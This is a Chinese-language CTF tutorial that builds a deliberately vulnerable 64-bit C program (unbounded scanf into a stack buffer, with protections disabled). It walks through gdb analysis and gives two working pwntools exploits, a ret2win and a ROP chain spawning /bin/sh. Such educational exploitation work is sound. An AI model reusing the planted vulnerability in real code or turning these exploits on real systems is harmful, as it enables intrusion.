缓缓而行,步步攀登
一、内容前要
本节内容将为大家带来:一道入门级别的栈溢出pwn题环境搭建
二、准备阶段
代码准备
pwn1.c
```cpp
include
include
int main()
{
char buf[80];
printf("input your key:\n");
scanf("%s",buf);
printf("%s",buf);
return 0;
}
void shell()
{
system("/bin/sh");
}
```
编译准备
bash
gcc -fno-stack-protector pwn1.c -o pwn1 #关闭Canary保护
在线环境准备
bash
git clone https://gitee.com/swh1te/ctf.git
cd ./ctf/pwn1/
docker-compose up -d
环境搭建成功后,会将docker中的应用端口转发到本机的20001端口,可自行通过docker-compose.xml更改
三、分析阶段
基础信息查看
64位程序,没有开栈溢出保护,程序里存在system函数,也存在/bin/sh字符串
```bash
root@ubuntu:~/ctf/easy# file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0a4f59a9a0adb8f5efd0b1fe83e1caee7b784148, not stripped
root@ubuntu:~/ctf/easy# checksec pwn1
[*] '/root/ctf/easy/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@ubuntu:~/ctf/easy# strings pwn1|grep sh
/bin/sh
shell
.shstrtab
.gnu.hash
root@ubuntu:~/ctf/easy# objdump -d pwn1|grep system
\00000000004004e0 system@plt:
400674:e8 67 fe ff ff callq 4004e0 system@plt
```
gdb调试
通过peda的pattern_offset功能找到栈溢出的填充长度
```bash
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/ctf/easy/pwn1
input your key:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fffff37
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x0
RDI: 0x7ffff7dd2620 --> 0xfbad2a84
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffe4f8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x40066a (
R8 : 0x0
R9 : 0xc8
R10: 0xc8
R11: 0x7fffffffe4a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
R12: 0x400530 (<_start>:xor ebp,ebp)
R13: 0x7fffffffe5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40065f
0x400664
0x400669
=> 0x40066a
0x40066b
0x40066c
0x40066f
0x400674
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4f8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe500 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffe510 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffe518 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffe520 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffe528 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffe530 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040066a in main ()
gdb-peda$ x/gx $rsp
0x7fffffffe4f8:0x41416741414b4141
gdb-peda$ pattern_offset 0x41416741414b4141
4702153015917494593 found at offset: 88
```
四、POC撰写
以下POC均在python2环境下,采用pwntools进行撰写
解法一:call shell
shell_addr
程序预先预留了一个shell函数,会自动调用system("/bin/sh"); 我们找到shell的地址,栈溢出后将程序跳转地址覆盖成shell函数的地址即可
bash
root@ubuntu:~/ctf/easy# objdump -d pwn1|grep shell
000000000040066b <shell>:
poc1.py
```python
from pwn import *
p = process("pwn1")
pad = 88
shell_addr = 0x040066b
payload = b'a'*pad + p64(shell_addr)
p.send(payload)
p.interactive()
```
解法二:ROP
ROPgadget
x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,我们通过ROPgadget找到一个可以控制rdi参数值的gadget,先将/bin/sh压栈,然后ret,这样system函数执行的参数就是/bin/sh
bash
root@ubuntu:~/ctf/easy# ROPgadget --binary pwn1 --only "pop|ret"|grep rdi
0x00000000004006e3 : pop rdi ; ret
poc2.py
``````python
from pwn import *
p = process("pwn1")
e = ELF("pwn1")
pad = 88
pop_rdi_addr = 0x00000000004006e3
system_addr = e.symbols['system']
binsh_addr = e.search('/bin/sh').next()
payload = b'a'*pad + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()
``````
五、参考资料
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论